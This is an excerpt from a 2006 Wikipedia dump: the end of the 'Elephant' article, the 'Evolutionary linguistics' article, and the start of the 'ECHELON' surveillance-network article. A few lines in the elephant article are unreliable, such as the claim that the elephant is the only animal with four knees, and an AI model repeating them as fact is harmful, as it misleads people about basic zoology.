The [[tusk]]s of an elephant are upper [[incisor]]s that are continuously growing. An adult male's tusks will grow about seven inches a year. Tusks are indispensable to an elephant. They are used primarily to dig for water, salt, and roots; to debark trees, in order to get at the tasty pulp inside; and to move downed trees and branches when clearing a path. In addition, they are used for marking trees to establish territory and occasionally as weapons. Like humans who are typically right- or left-handed, elephants are usually right- or left-tusked. The dominant tusk, called the master tusk, is generally shorter and more rounded at the tip from wear. Both male and female African elephants have large, impressive tusks that can reach over ten feet in length and weigh over two hundred pounds. In the Asian species, only the males have large tusks. Female Asians have tusks which are very small or absent altogether. Asian males can have tusks as long as the much larger Africans, but they are usually much slimmer and lighter (the heaviest recorded was only 86 pounds). The tusk of both species is mostly made of [[calcium]] and [[phosphate]]. As a piece of living tissue, it is relatively soft (compared with other minerals such as rock), and the tusk, also known as [[ivory]], is strongly favoured by artisans for its carvability. The desire for elephant ivory has been one of the major factors in the dramatic decline of the world's elephant population.

====Teeth====
Elephants' [[Tooth|teeth]] are very different from those of most other mammals. Over their lives they have 26 teeth, including two upper incisors (tusks), 12 [[premolar]]s, and 12 [[Molar (tooth)|molar]]s. Unlike most mammals, which [[Tooth development|grow]] baby teeth and then replace them with a permanent set of adult teeth, elephants have cycles of tooth rotation throughout their entire life. After one year the tusks are permanent, but the other teeth are replaced six times in an elephant's life. The teeth don't emerge from the jaws vertically like humans' do with new teeth replacing old ones from above or below. Instead, they have a horizontal progression, like a conveyor belt. New teeth grow in at the back of the mouth, pushing older teeth toward the front, where they become brittle and fall out, making room for more teeth. When an elephant becomes very old, the last set of teeth become brittle, and it must rely on softer foods to chew. Very elderly elephants often spend their final years exclusively in marshy areas where they can feed on soft wet grasses. Eventually, when the final teeth fall out, the animal will be unable to eat and will die. However, as more habitat is destroyed, the elephants' living space becomes smaller and smaller; the elderly no longer have the opportunity to roam in search of more appropriate food and will, consequently, die of starvation at an earlier age.

====Skin====
Another name for an elephant is pachyderm, which means &quot;thick skin&quot;. An elephant's skin is extremely tough around most parts of its body. However, the skin around the mouth and inside of the ear is paper thin. Normally, the skin of an Asian is covered with more hair than its African counterpart. This is most noticeable in the young. Asian calves are usually covered with a thick coat of brownish red fuzz. As they get older, this hair darkens and becomes more sparse, but it will always remain on their heads and tails.

Both species of elephants are typically grayish in colour, but the Africans very often appear brown or reddish from wallowing in mud holes of coloured soil. Wallowing is actually a very important behaviour in elephant society. Not only is it important for socialization, but the mud acts as a sunscreen, protecting their skin from harsh ultraviolet radiation. Though tough, an elephant's skin is very sensitive. Without regular mud baths to protect it from burning, as well as from insect bites and moisture loss, an elephant's skin would suffer serious damage. After bathing, the elephant will usually use its trunk to blow dirt on its body to help dry and bake on its new protective coat. As elephants are limited to smaller and smaller areas, there is less water available, and local herds will often come too close over the right to use these limited resources.

Wallowing also aids the skin in regulating body temperatures. Elephants spend every day fighting an uphill battle to stay cool. They have a very difficult time releasing heat through the skin because, in proportion to their body size, they have very little of it. The ratio of an elephant's mass to the surface area of its skin is many times that of a human. Elephants have even been observed lifting up their legs to expose the soles of their feet, presumably in an effort to expose more skin to the air. Since wild elephants live in very hot climates, they must have other means of getting rid of excess heat.

====Ears====
[[Image:Anakotta1.jpg|thumb|200px|left|An [[Elephant Sanctuary]] at [[Punnathur kotta]], [[Kerala]], [[south India]].]]
The large flapping ears of an elephant are also very important for temperature regulation. Elephant ears are made of a very thin layer of skin stretched over cartilage and a rich network of blood vessels. On hot days, elephants will flap their ears constantly, creating a slight breeze. This breeze cools the surface blood vessels, and then the cooler blood gets circulated to the rest of the animal's body. The hot blood entering the ears can be cooled as much as ten degrees Fahrenheit before returning to the body. Differences in the ear sizes of African and Asian elephants can be explained, in part, by their geographical distribution. Africans originated and stayed near the equator, where it is warmer. Therefore, they have bigger ears. Asians live farther north, in slightly cooler climates, and thus have smaller ears.

The ears are also used in certain displays of aggression and during the males' mating period. If an elephant wants to intimidate a predator or rival, it will spread its ears out wide to make itself look more massive and imposing. During the breeding season, males give off an odor from a gland located behind their eyes. Joyce Poole, a well-known elephant researcher, has theorized that the males will fan their ears in an effort to help propel this &quot;elephant cologne&quot; great distances.

Walking at a normal pace an elephant covers about 2 to 4 miles an hour (3 to 6 km/h) but they can reach 24 miles an hour (40 km/h) at full speed.

====Knees====
The elephant is the only animal to have four knees.

===Evolution===
Although the fossil evidence is uncertain, some scientists believe there is genetic evidence that the elephant family shares distant ancestry with the [[Sirenia]]ns (sea cows) and the [[hyrax]]es. In the distant past, members of the hyrax family grew to large sizes, and it seems likely that the common ancestor of all three modern families was some kind of amphibious hyracoid. One theory suggests that these animals spent most of their time under water, using their trunks like [[snorkel]]s for breathing. Modern elephants have retained this ability and are known to swim in that manner for up to 6 hours and 50 km.

In the past, there was a much wider variety of elephant genera, including the [[mammoth]]s, [[stegodon]]s and [[deinotherium|deinotheria]].

===Varieties===
It has long been known that the [[Savannah Elephant|African]] and [[Asian Elephant|Asian]] elephants are separate species. African elephants tend to be larger than the Asian species (up to 4 m high and 7500 kg) and have bigger ears. Male and female African elephants have long tusks, while male and female Asian Elephants have shorter tusks, with tusks in females being almost non-existent. African elephants have a dipped back, smooth forehead and two &quot;fingers&quot; at the tip of their trunks, as compared with the Asian species which have an arched back, two humps on the forehead and have only one &quot;finger&quot; at the tip of their trunks.

There are two populations of African elephants, [[Savannah Elephant|Savannah]] and [[Forest Elephant|Forest]], and recent genetic studies have led to a reclassification of these as separate species, the forest population
now being called ''Loxodonta cyclotis'', and the Savannah (or Bush) population termed ''Loxodonta africana''. This reclassification has important implications for conservation, because it means where there were thought to be two small populations of a single endangered species, there may in fact be two separate species, each of which is even more severely endangered. There's also a potential danger in that if the forest elephant isn't explicitly listed as an endangered species, poachers and smugglers might thus be able to evade the law forbidding trade in endangered animals and their body parts.

The Forest elephant and the Savannah elephant can hybridise successfully, though their preference for different terrains reduces the opportunities to hybridise. Many captive African elephants are probably generic African elephants as the recognition of separate species has occurred relatively recently.

Although hybrids between different animal genera are usually impossible, in 1978 at [[Chester Zoo]], an Asian elephant cow gave birth to a hybrid calf sired by an African elephant bull (the old terms are used here as this pre-dates current classifications). The pair had mated several times, but pregnancy was believed to be impossible. &quot;Motty&quot;, the resulting hybrid male calf, had an African elephant's cheek, ears (large with pointed lobes) and legs (longer and slimmer), but the toenail numbers, (5 front, 4 hind) and the single trunk finger of an Asian elephant. The wrinkled trunk was like an African elephant. The forehead was sloping with one dome and two smaller domes behind it. The body was African in type, but had an Asian-type centre hump and an African-type rear hump. Sadly the calf died of infection 12 days later. It is preserved as a mounted specimen at the British Natural History Museum, London. There are unconfirmed rumours of three other hybrid elephants born in zoos or circuses, all are said to have been deformed and did not survive.

===Diet===
[[Image:Baby_elephants3.jpg|thumb|right|200px|Female [[African]] Elephant with calf, in [[Kenya]].]]

Elephants are [[herbivore]]s, spending 16 hours a day collecting plant food. Their diet is at least 50% grasses, supplemented with leaves, twigs, bark, roots, and small amounts of fruits, seeds and flowers. Because elephants only digest 40% of what they eat, they have to make up for their digestive system's lack of efficiency in volume. An adult elephant can consume 300 to 600 pounds (140 to 270 kg) of food a day. 60% of that food leaves the elephant's body undigested.

===Social behavior===
Elephants live in a very structured social order. The social lives of male and female elephants are very different. the females spend their entire lives in tightly knit family groups made up of mothers, daughters, sisters, and aunts. These groups are led by the eldest female, or matriarch. Adult males, on the other hand, live mostly solitary lives.

The social circle of the female elephant does not end with the small family unit. In addition to encountering the local males that live on the fringes of one or more groups, the female's life also involves interaction with other families, clans, and subpopulations. Most immediate family groups range from five to fifteen adults, as well as a number of immature males and females. When a group gets too big, a few of the elder daughters will break off and form their own small group. They remain very aware of which local herds are relatives and which are not.

The life of the adult male is very different. As he gets older, he begins to spend more time at the edge of the herd, gradually going off on his own for hours or days at a time. Eventually, days become weeks, and somewhere around the age of fourteen, the mature male, or bull, sets out from his natal group for good. While males do live primarily solitary, lives, they will occasionally form loose associations with other males. These groups are called bachelor herds. The males spend much more time than the females fighting for dominance with each other. Only the most dominant males will be permitted to breed with cycling females. The less dominant ones must wait their turn. It is usually the older bulls, forty to fifty years old, that do most of the breeding. The dominance battles between males can look very fierce, but typically they inflict very little injury. Most of the bouts are in the form of aggressive displays and bluffs. Ordinarily, the smaller, younger, and less confident animal will back off before any real damage can be done. However, during the breeding season, the battles can get extremely aggressive, and the occasional elephant is injured. During this season, known as musth, a bull will fight with almost any other male it encounters, and it will spend most of its time hovering around the female herds, trying to find a receptive mate.

===Reproduction===

*Females (cows) reach sexual maturity at around 9-12 years of age and become pregnant for the first time, on average, around age 13. They can reproduce until ages 55-60.

*Females give birth at intervals of about every 5 years.

*An elephant's [[gestation]] period lasts about 22 months (630-660 days), the longest gestation period of any mammal, after which one calf typically is born. Twins are rare.

*Labor ranges in length from 5 minutes to 60 hours. The average length of labor is 11 hours.

*At birth, calves weigh around 90-115 kilograms (200-250 pounds), and they gain 1 kilogram (2-2.5 pounds) a day.

*In the wild, the mother is accompanied by other adult females (aunts) that protect the young.

*In the wild, baby elephants are raised and nurtured by the whole family group, practically from the moment they are born.

===Motherhood and calf rearing===
*The first sound a newborn calf usually makes is a sneezing or snorting sound to clear its [[nasal passages]] of [[fluids]]. (In the first few minutes after a captive birth, the keepers must monitor the calf closely for the first sound or movement. Whichever happens first, the mother typically responds to her new baby with surprise and excitement.)

*With the help of its mother, a newborn calf usually struggles to its feet within 30 minutes of birth. For support, it will often lean on its mother's legs.

*A newborn calf usually stands within one hour and is strong enough to follow its mother in a slow-moving herd within a few days.

*Unlike most mammals, female elephants have a single pair of [[mammary glands]] located just behind the front legs. When born, a calf is about 3 feet (90 cm) high, just tall enough to reach its mother's nipples.

*A calf suckles with its mouth, not its trunk, which has no [[muscle tone]]. To clear the way to its mouth so it can suckle, the calf will flop its trunk onto its forehead.

*A newborn calf suckles for only a few minutes at a time but will suckle many times per day, consuming up to 11 litres (3 gallons) of milk in a single day.

*A calf may nurse for up to 2 years of age or older. Complete [[weaning]] depends on the disposition of the mother, the amount of available milk, and the arrival of another calf.

*Newborn calves learn primarily by observing adults, not from natural [[instinct]]. For example, a calf learns how to use its trunk by watching older elephants using their trunks.

*It takes several months for a calf to control the use of its trunk. This can be observed as the calf trips over its trunk or as the trunk wiggles like a rubbery object when the calf shakes its head.

==Usefulness to the environment==
Elephants' foraging activities help to maintain the areas in which they live:
*By pulling down trees to eat leaves, breaking branches, and pulling out roots they create clearings in which new young trees and other vegetation grow to provide future nutrition for elephants and other organisms.
*Elephants make pathways through the environment that are used by other animals to access areas normally out of reach. The pathways have been used by several generations of elephants, and today people are converting many of them to paved roads.
*During the dry season elephants use their tusks to dig into [[dry river beds]] to reach underground sources of water. These newly dug water holes may become the only source of [[water]] in the area.
*Elephants are a species upon which many other organisms depend.  For example, [[termites]] eat elephant feces and often begin construction of termite mounds under piles of feces.

==Threat of extinction==
The threat to the African elephant presented by the ivory trade is unique to the species. Another threat to elephant's survival in general is the ongoing cultivation of their habitats with increasing risk of conflicts of interest with human cohabitants. Lacking the massive tusks of its African cousins, the Asian elephant's demise can be attributed mostly to loss of its habitat.

As larger patches of forest disappear, the ecosystem is affected in profound ways. The trees are responsible for anchoring soil and absorbing water runoff. Floods and massive erosion are common results of deforestation. Elephants need massive tracts of land because, much like the slash-and-burn farmers, they are used to crashing through the forest, tearing down trees and shrubs for food and then cycling back later on, when the area has regrown. As forests are reduced to small pockets, elephants become part of the problem, quickly destroying all the vegetation in an area, eliminating all their resources. 

Larger, long-lived, slow-breeding animals, like the elephant, are more susceptible to overhunting, than other animals. They cannot hide, and it takes many years for an elephant to grow and reproduce. An elephant needs an average of three hundred pounds of vegetation a day to survive. As large predators are hunted, the local small grazer populations (the elephant's food competitors) find themselves on the rise. The increased number of herbivores ravage the local trees, shrubs, and grasses. 

===National Parks===
Africa's first official reserve eventually became one of the world's most famous and successful national parks. [[Kruger National Park]] in South Africa first became a reserve against great opposition in 1898 (then Sabi Reserve). It was deproclaimed and reproclaimed several times before it was renamed and granted national park status in 1926. It was to be the first of many.

Of course, there were many problems in establishing these reserves. For example, elephants range through a wide tract of land with little regard for national borders. however, when most parks were created, the boundaries were drawn at the man-made borders of individual countries. Once a fence was erected, many animals found themselves cut off from their winter feeding grounds or spring breeding areas. Some animals died as a result, while some, like the elephants, just trampled through the fences. This did little to belie their image as a crop-raiding pest. The more often an elephant wandered off its reserve, the more trouble it got into, and the more chance it had of being shot by an angry farmer. When confined to small territories, elephants can inflict an enormous amount of damge to the local landscapes. Today there are still many problems associated with these parks and reserves, but there is now little question as to whether or not they are necessary. As scientists learn more about nature and the environment, it becomes very clear that these parks may be the elephant's last hope against the rapidly changing world around them.

==Man and Elephants==
===Harvest from the Wild===
[[Image:Wild elephant feces on a road.jpg|thumb|200px|Elephant feces on a road adjoining Minneriya-Giritale Nature Reserve, [[Sri Lanka]].]]

The harvest of elephants, both legal and illegal, has had some unexpected consequences on elephant anatomy as well. African ivory hunters, by killing only tusked elephants, have given a much larger chance of mating to elephants with small tusks or no tusks at all. The propagation of the absent-tusk gene has resulted in the birth of large numbers of tuskless elephants, now approaching 30% in some populations (compare with a rate of about 1% in 1930). Tusklessness, once a very rare genetic abnormality, has become a widespread hereditary trait. [http://www.gaiabooks.co.uk/environment/elephants_tuskless.html]
It is possible, if unlikely, that continued selection pressure could bring about a complete absence of tusks in African elephants, a development normally requiring thousands of years of evolution. The effect of tuskless elephants on the environment, and on the elephants themselves, could be dramatic. Elephants use their tusks to root around in the ground for necessary minerals, tear apart vegetation, and spar with one another for mating rights. Without tusks, elephant behavior could change dramatically. [http://www.mail-archive.com/fact@tlk-lists.com/msg00030.html]

===Domestication and use===
[[Image:Elephant.pair.750pix.jpg|thumb|left|200px|[[African]] Savannah Elephant (left) and [[Asian]] Elephant at an [[England|English]] [[zoo]].]]

Elephants have been [[working animals]] used in various capacities by humans. Seals found in the Indus Valley suggest that the elephant was first domesticated in ancient India. However, elephants have never been truly domesticated: the male elephant in his periodic condition of ''[[musth]]'' is dangerous and difficult to control. Therefore elephants used by humans have typically been female, war elephants being an exception, however: as female elephants in battle will run from a male, only males could be used in war. It is generally more economical to capture wild young elephants and tame them than breeding them in captivity (see also [[Elephant &quot;Crushing&quot;|elephant &quot;crushing&quot;]]).

[[War elephant]]s were used by armies in the Indian sub-continent, and later by the [[Persian empire]]. This use was adopted by [[Hellenistic]] armies after Alexander the Great experienced their worth against king [[Poros]], notably in the [[Ptolemaic]] and [[Seleucid]] diadoch empires. The [[Carthage|Carthaginian]] general [[Hannibal]] took elephants across the [[Alps]] when he was fighting the [[Roman Republic|Romans]], but brought too few elephants to be of much military use, although his horse cavalry was quite successful; he probably used a now-extinct third African (sub)species, the North African (Forest) elephant, smaller than its two southern cousins, and presumably easier to domesticate. A large elephant in full charge could cause tremendous damage to infantry, and cavalry horses would be afraid of them (see [[Battle of Hydaspes]]).

Throughout [[Siam]], [[India]], and most of South Asia elephants were used in the military for heavy labor, especially for uprooting trees and moving logs, and were also commonly used as executioners to [[crushing by elephant|crush the condemned underfoot]].

[[Image:Elephant-tracks.jpg|thumb|right|top|200px|Elephant footprints (tyre tracks for scale)]]
Elephants have also been used as mounts for safari-type [[hunting]], especially Indian ''shikar'' (mainly on tigers), and as ceremonial mounts for royal and religious occasions, whilst Asian elephants have been used for [[transport]] and [[entertainment]], and are common to [[Circus (performing art)|circuses]] around the world.

African elephants have long been reputed to not be domesticable, but some entrepreneurs have succeeded by bringing Asian [[mahout]]s from [[Sri Lanka]] to Africa. In Botswana, [[Uttum Corea]] has been working with African elephants and has several young tame elephants near [[Gaborone]]. African elephants are more temperamental than Asian elephants, but are easier to train. Because of their more sensitive temperaments, they require different training methods than Asian elephants and must be trained from infancy hence Corea worked with orphaned elephants. African elephants are now being used for (photo) safaris. Corea's elephants are also used to entertain tourists and haul logs.

It should be noted that elephants cannot jump.

===The Elephant Trap===
Another more effective method is practiced in the Indian Subcontinent which is far less physical and brutal, and more psychological. It is called the &quot;elephant trap&quot;. The following is taken from a newsletter. &quot;From when an elephant is a baby they tie him for certain periods with a rope to a tree. The young elephant tries his hardest to escape, he pulls and wriggles and jumps and crawls yet the rope just tightens and to the tree it remains tied. Learning that, the elephant doesn’t try to escape and accepts his confinement. A couple of years pass and the elephant is now an adult weighing several tons. Yet the trainer continues to tie the elephant to the tree with the same rope he’s always used, for the simple reason that the elephant has the concept in his mind that the rope is stronger than him. Abiding to this conditioning the elephant is trapped for life. To break free all the elephant has to do is erase that limiting thought for in fact he is free to go.&quot;

===Elephants in Culture===
====Pop culture====
[[Image:KandyPerahara.jpg|thumb|right|200px|[[Esala Perahera]] in [[Kandy]], [[Sri Lanka]]]]

* [[Jumbo]], a [[Circus (performing art)|circus]] elephant, has entered the English language as a synonym for &quot;large&quot;;
* [[Dumbo]], the flying elephant in [[The Walt Disney Company|Disney]] movie;
*The French children's storybook character [[Babar the Elephant]] (an elephant king) created by [[Jean de Brunhoff]] and also an animated TV series;
* ''[[The Elephant's Child]]'' is one of [[Rudyard Kipling]]'s ''[[Just So Stories]]'';
* The [[Thai Elephant Orchestra]], a musical instrument playing group of Elephants from the [[National Elephant Institute|Thai Elephant Conservation Center]] in [[Lampang]];
*[[Joseph Merrick]], a British man in [[Victorian England]], who suffered from substantial deformities, and was nicknamed &quot;[[The Elephant Man]]&quot; due to the nature and extent of his condition;
*The fictional planet in [[Terry Pratchett]]'s ''[[Discworld]]''  novels consists of a [[Discworld (world)|flat disc-shaped world]] carried on the backs of four elephants who ride through space on a space turtle, [[Great A'Tuin]].

A common [[adage]] is that &quot;Elephants never forget&quot;, and later scientific evidence seems to support they have good memories.

====Religion====
* A [[White elephant (pachyderm)|white elephant]] is considered holy in [[Thailand]].
* [[Ganesh]], the [[Hindu]] god of wisdom, has an elephant's head.
* [[Elephants used for festival, south India]]

====Politics and secular Symbolism====
*The elephant, and the white elephant in particular, has often been used a symbol of royal power and prestige in Asia;
*The elephant is also the symbol for the [[Republican Party (United States)|Republican Party]] of the United States, originating in an [[1874]] cartoon by [[Thomas Nast]] of ''[[Harper's Weekly]]'' (Nast also originated the [[donkey]] as the symbol of the [[Democratic Party (United States)|Democratic Party]]);
* See also the Danish royal [[Order of the Elephant]].

===Elephant rage===

There is a cause of elephant rage that is not the result of human activity.  Since male elephants are ostracized from their herds when they become [[sexually mature]], their [[sex hormones]] can lead to aggressive behaviour.

At least a few elephants have been suspected to be drunk during their attacks. In December 1998, a herd of elephants overran a village in India. Although locals reported that nearby elephants had recently been observed drinking beer which rendered them &quot;unpredictable&quot;, officials considered it the least likely explanation for the attack [http://news.bbc.co.uk/1/hi/world/south_asia/241781.stm]. An attack on another Indian village occurred in October 1999, and again locals believed the reason was drunkenness, but the theory was not widely accepted [http://news.bbc.co.uk/1/hi/world/south_asia/482001.stm]. Purportedly drunk elephants raided yet another Indian village again on December 2002 [http://news.bbc.co.uk/2/hi/south_asia/2583891.stm].

==See also==
* [[Crushing by elephant]]
* [[Dumbo]]
* [[Dwarf elephant]]
* [[Elephant (movie)]]
* [[Elephant ear]]
* [[Elephantiasis]]
* [[Elephant in the corner]]
* [[Elephant Sanctuary]]
* [[Elephants of Kerala]]
* [[History of elephants in Europe]]
* [[List of fictional elephants]]
* [[List of historical elephants]]
* [[Mammal]]
* [[Rogue elephant]]
* [[Temple elephants]]
* [[War elephant]]
* [[White elephant]]
* [[Year of the Elephant]]

==References==
*[http://wikisource.org/wiki/The_Blindmen_and_the_Elephant The Blindmen and the Elephant] by [[John Godfrey Saxe]]

==Footnotes==
*{{Ref 1}} [http://blogs.nationalgeographic.com/channel/blog/2005/05/elephant_rage.html External link to national geographics elephant rage episode of Explorer]

==External links==
{{sisterlinks|Elephant}}
{{Wikibookspar|Dichotomous Key|Proboscidea}}
* [http://www.elephant.se Absolute elephant - general information]
* [http://www.elephantvoices.org How elephants communicate]
* [http://www.elephant-news.com Elephant News - latest headlines about elephants]
* [http://fohn.net/elephant-pictures-facts/ Elephant Pictures &amp; Information]
* Tim Radford, [http://www.education.guardian.co.uk/print/0,3858,4244642-103690,00.html &quot;The elephant time forgot&quot;], ''The Guardian'' 2001-08-24, 1. Describes the discovery of the third species of elephant.
* C. Johnson, [http://www.abc.net.au/science/news/stories/s24742.htm &quot;Elephant trunks were once snorkels&quot;], ''News in Science'' 1999-05-11,
*[http://fsweb.berry.edu/academic/hass/jhickman/george.html Photo of Pinnewella Elephant Orphanage in Sri Lanka]
*[http://seekmybowl.com/elephant.php Seek My Bowl on elephants as symbols]
*[http://www.pepere.org/flash-game_1_x/the-elephant-game_7.html The elephant game].
*[http://www.elephantreintroduction.org Elephant Reintroduction Foundation],The foundation is dedicated to a management system for rehabilitation of captive elephants and habitat preparation to ensure successful long-term sustainability after their return to the wild.
*[http://www.seaworld.org/animal-info/animal-bytes/animalia/eumetazoa/coelomates/deuterostomes/chordata/craniata/mammalia/proboscidea/african-elephant.htm#ec Animal info]
*[http://www.uen.org/utahlink/activities/view_activity.cgi?activity_id=3819 List of easy-to-read articles about elephants]
* [http://www.junglephotos.com/africa/afanimals/mammals/elephant.shtml Elephant photos and information]
* [http://iucn.org/afesg/aed/ African Elephant Database - for current info on African elephant distribution and numbers]
* [http://goplett.co.za/wiki/index.php/ Elephant Sanctuary Plettenberg Bay South Africa ]
{{Mammals}}

[[Category:Elephants| ]]
[[Category:Endangered species]]
[[Category:Wildlife of Africa]]

[[af:Olifant]]
[[ar:فيل]]
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[[bg:Слон]]
[[ca:Elefant]]
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[[de:Elefanten]]
[[es:Elephantidae]]
[[eo:Elefanto]]
[[fr:Éléphant]]
[[fy:Oaljefanten]]
[[gl:Elefante]]
[[ko:코끼리]]
[[ku:Fîl]]
[[hr:Slonovi]]
[[io:Elefanto]]
[[ia:Elephante]]
[[it:Elephantidae]]
[[he:פילים]]
[[la:Elephantidae]]
[[lt:Straubliniai]]
[[li:Olifante]]
[[ln:Nzoku]]
[[ms:Gajah]]
[[nl:Olifanten]]
[[ja:ゾウ]]
[[no:Elefant]]
[[pl:Słoniowate]]
[[pt:Elefante]]
[[ru:Слон]]
[[simple:Elephant]]
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[[ta:யானை]]
[[zh:象]]</text>
    </revision>
  </page>
  <page>
    <title>Evolutionary linguistics</title>
    <id>9281</id>
    <revision>
      <id>41582664</id>
      <timestamp>2006-02-28T07:56:50Z</timestamp>
      <contributor>
        <username>Drork</username>
        <id>833646</id>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">'''Evolutionary linguistics''' is the scientific study of the origins and development of language. The main problem in this research is the lack of empirical data: spoken language leaves no traces behind. This led to an abandonment of the field for many decades. Recently, however, the field is reviving due to the development of new technologies.  
 
[[August Schleicher]] (1821-1868) and his ‘Stammbaumtheorie’ are often quoted as the starting point of evolutionary linguistics. Inspired by the natural sciences, especially biology, Schleicher was the first to compare languages to evolving species. He introduced the representation of language families as an evolutionary tree in articles published in 1853. 

The Stammbaumtheorie proved to be very productive for [[comparative linguistics]], but didn’t solve the major problem of evolutionary linguistics: the lack of fossil records. The field was quickly abandoned, but recent developments in technology have enabled researchers to implement and test evolutionary language models.

One of these researchers is Professor Dr. [[Luc Steels]], head of the research units of Sony CSL in [[Paris]] and the AI Lab at the Free University of Brussels ([[VUB]]). He and his team are investigating ways in which artificial agents self-organize languages with natural-like properties and how meaning can co-evolve with language. Their research is based on the hypothesis that language is a complex adaptive system that emerges through adaptive interactions between agents and continues to evolve in order to remain adapted to the needs and capabilities of the agents. This ongoing research has cumulated over the past ten years and has been implemented in [[Construction grammar#Fluid Construction Grammar|Fluid Construction Grammar (FCG)]], a formalism for construction grammars that has especially been designed for the origins and evolution of language.

The approach of computational modeling and the use of robotic agents grounded in real life is theory independent. It enables the researcher to find out exactly what cognitive capacities are needed for certain language phenomena to emerge. It also forces the researcher to formulate his hypotheses in a precise and exact manner, whereas theoretic models often stay very vague. The precision and theory independence of these kinds of experiments make them of great value for the scientific debate.

==References==
*Cangelosi, A. and Harnad, S. (2001) [http://cogprints.org/2036/ The adaptive advantage of symbolic theft over sensorimotor toil: Grounding language in perceptual categories] ''Evolution of Communication'' 4(1):pp. 117-142.
*[[Terrence Deacon|Deacon, T]]. (1997) ''The symbolic species: the coevolution of language and the brain'', Norton, New York.
*Hauser, M.D. (1996) ''The evolution of communication'', MIT Press, Cambridge, MA.
* Daniel Dor and Jablonka Eva (2001). How language changed the genes. In Tabant J. Ward. S. (editors). Mouton de Gruyer: Berlin, pp 149-175.
* Dor D. and Jablonka E. (2001) From cultural selection to genetic selection: a framework for the evolution of language. Selection, 1-3, pp. 33-57.
*Hauser, M.D. Hauser, N. Chomsky and W.T. Fitch (2002) The faculty of language: what is it, who has it, and how did it evolve?, ''Science'' 298: pp. 1569–1579.
*Jackendoff, R. (2002) [http://www.bbsonline.org/Preprints/Jackendoff-07252002/Referees/ ''Foundations of language: brain, meaning, grammar, evolution''] Oxford University Press, New York 
*Lieberman, P. (2003) Motor control, speech, and the evolution of language. In: M. Christiansen and S. Kirby, Editors, ''Language evolution: states of the art'', Oxford University Press, New York.
*Nowak, M.A. and N.L. Komarova (2001) Towards an evolutionary theory of language, ''Trends in Cognitive Sciences'' 5 (7), pp. 288–295.
*[[Steven Pinker|Pinker, S]]. (1994) ''The language instinct'', HarperCollins, New York.
*Pinker, S. and P. Bloom (1990) [http://www.bbsonline.org/documents/a/00/00/04/99/index.html Natural language and natural selection] [http://www.bbsonline.org/ ''Behavioral and Brain Sciences''] 13: pp. 707–784
*Steels, L. (2001) Grounding Symbols through Evolutionary Language Games. In: Cangelosi A. and Parisi D. (Eds.) [http://www.tech.plym.ac.uk/soc/staff/angelo/book2001-TOC.html ''Simulating the Evolution of Language''] Springer.
*Steklis, H.D. and Harnad, S (1976) [http://cogprints.org/866/ From hand to mouth: Some critical stages in the evolution of language] In: Harnad, S., Steklis, H. D. and Lancaster, J., (1976) (Eds) Origins and Evolution of Language and Speech. ''Annals of the New York Academy of Sciences'' 280: 1-914.
* See also the [http://www.isrl.uiuc.edu/amag/langev/ UIUC Language Evolution and Computation Bibliography/Repository]

==External links==
*[http://arti.vub.ac.be/FCG/ Fluid Construction Grammar]
*[http://www.ling.ed.ac.uk/lec/ Language Evolution and Computation Research Unit, University of Edinburgh]
*[http://www.csl.sony.fr/ Sony CSL Research]
*[http://rd-ir.vub.ac.be/RDE/index.html Vrije Universiteit Brussel Research]
*[http://arti.vub.ac.be/ ARTI Artificial Intelligence Laboratory VUB]
*[http://www.ecagents.org/ ECAgents: The Project on Embodied and Communicating Agents]
[[Category:Historical linguistics]]
[[he:אבולוציה של השפה]]</text>
    </revision>
  </page>
  <page>
    <title>ECHELON</title>
    <id>9282</id>
    <revision>
      <id>41932407</id>
      <timestamp>2006-03-02T18:41:19Z</timestamp>
      <contributor>
        <ip>144.171.161.32</ip>
      </contributor>
      <comment>/* Sources */</comment>
      <text xml:space="preserve">:''This article is about the spy network; for other uses see [[Echelon (disambiguation)]].''

[[Image:Silvermine Echelon Antenna 4 - Through the wire.JPG|thumb|right|Antenna 4 (through the wire) in former Echelon intelligence gathering station at [[Silvermine]], [[Cape Peninsula]], [[South Africa]].]]

'''ECHELON''' is a highly secretive world-wide [[SIGINT|signals intelligence]] and analysis network run by the [[UKUSA Community]]. [http://cryptome.org/echelon-nh.htm] ECHELON can capture [[radio]] and [[satellite]] communications, [[telephone]] calls, [[fax]]es and [[e-mail]]s nearly anywhere in the world and includes computer automated analysis and sorting of intercepts. [http://cryptome.org/echelon-60min.htm] ECHELON is estimated to intercept up to 3 billion communications every day.  However, claims that the NSA uses ECHELON to monitor every single electronic communication in the world are untrue, because such an effort would require the most massive communications and computing system on the planet and consume tremendous power and resources.

==History==

Reportedly created to monitor the military and diplomatic communications of the [[Soviet Union]] and its [[East Bloc]] allies during the [[Cold War]] in the early sixties, ECHELON is today believed to also search for hints of [[terrorism|terrorist]] plots, drug-dealers' plans, and political and diplomatic intelligence. But some critics claim the system is also being used for large-scale commercial theft and invasion of [[privacy]]. 
 
In May [[2001]], the [[European Parliament]] produced a report on ECHELON [http://cryptome.org/echelon-ep.htm] which, amongst other things, recommended that citizens of member states routinely use [[cryptography]] in their communications to protect their privacy. In the [[United Kingdom|UK]], the government introduced the [[Regulation of Investigatory Powers Act]] which gives authorities the power to demand that citizens hand over their [[key (cryptography)|encryption keys]], without a judge-approved warrant. In April [[2004]], the European Union decided to spend 11 million EUR developing secure communication based on [[quantum cryptography]] &amp;mdash; the [[SECOQC]] project &amp;mdash; a system that would theoretically be unbreakable by ECHELON or any other espionage system.

ECHELON monitoring of mobile phones in [[Pakistan]] was reportedly used to track [[Khalid Shaikh Mohammed]] before he was arrested in [[Rawalpindi]] on [[March 1]], [[2003]].

Before the [[September 11, 2001 attacks]] and the legislation which followed it, US intelligence agencies were generally prohibited from spying on people inside the US and other western countries' intelligence services generally faced similar restrictions within their own countries.  There are allegations, however, that ECHELON and the UKUSA alliance were used to circumvent these restrictions by, for example, having the UK facilities spy on people inside the US and the US facilites spy on people in the UK, with the agencies exchanging data (perhaps even automatically through the ECHELON system without human intervention).

The proposed US-only &quot;[[Total Information Awareness]]&quot; program relied on technology similar to ECHELON, and was to integrate the extensive sources it is legally permitted to survey domestically, with the &quot;taps&quot; already compiled by ECHELON. It was cancelled by the U.S. Congress in [[2004]].

